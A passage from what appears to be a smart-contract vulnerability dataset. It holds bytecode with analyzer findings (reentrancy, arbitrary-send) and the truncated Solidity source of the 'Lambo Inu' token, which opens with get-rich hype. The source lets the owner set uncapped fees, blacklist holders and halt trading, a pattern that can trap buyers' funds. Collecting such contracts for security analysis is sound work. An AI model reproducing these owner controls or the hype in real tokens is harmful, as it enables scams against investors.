fffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60016009819055506009600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960018461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660098461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033d036d8d7ca3c92bfa1122500037b23e29d41eb6d2a86304f3ebf6dad5ab95b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 125 |
0xae1a95890c92d46d63f31ac4a0cb8244fec2df63 | // SPDX-License-Identifier: Unlicensed
/**
▀█▀ ▒█░░░ ▒█▀▀▀█ ▒█░░▒█ ▒█▀▀▀ ▒█░░░ ░█▀▀█ ▒█▀▄▀█ ▒█▀▀█ ▒█▀▀▀█
▒█░ ▒█░░░ ▒█░░▒█ ░▒█▒█░ ▒█▀▀▀ ▒█░░░ ▒█▄▄█ ▒█▒█▒█ ▒█▀▀▄ ▒█░░▒█
▄█▄ ▒█▄▄█ ▒█▄▄▄█ ░░▀▄▀░ ▒█▄▄▄ ▒█▄▄█ ▒█░▒█ ▒█░░▒█ ▒█▄▄█ ▒█▄▄▄█
Many people will get rich this year only if they can wait a lil longer.
This is the hardest part of your crypto journey.
Once you pass this test, lambo, mansions, plenty cash will be all yours.
It's an obvious place to create any kind of fairy tale
If you seize the opportunity to achieve wealth freedom, you will be the next person to be remembered on the blockchain
Lock and Renounce, for Lambo.
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LAMBO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lambo Inu";
string private constant _symbol = "LAMBO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x021446EcA8e0212717ee5B85ae424aEd25daCBF0);
address payable private _marketingAddress = payable(0x021446EcA8e0212717ee5B85ae424aEd25daCBF0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000350 * 10**9;
uint256 public _maxWalletSize = 10000000350 * 10**9;
uint256 public _swapTokensAtAmount = 10777 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
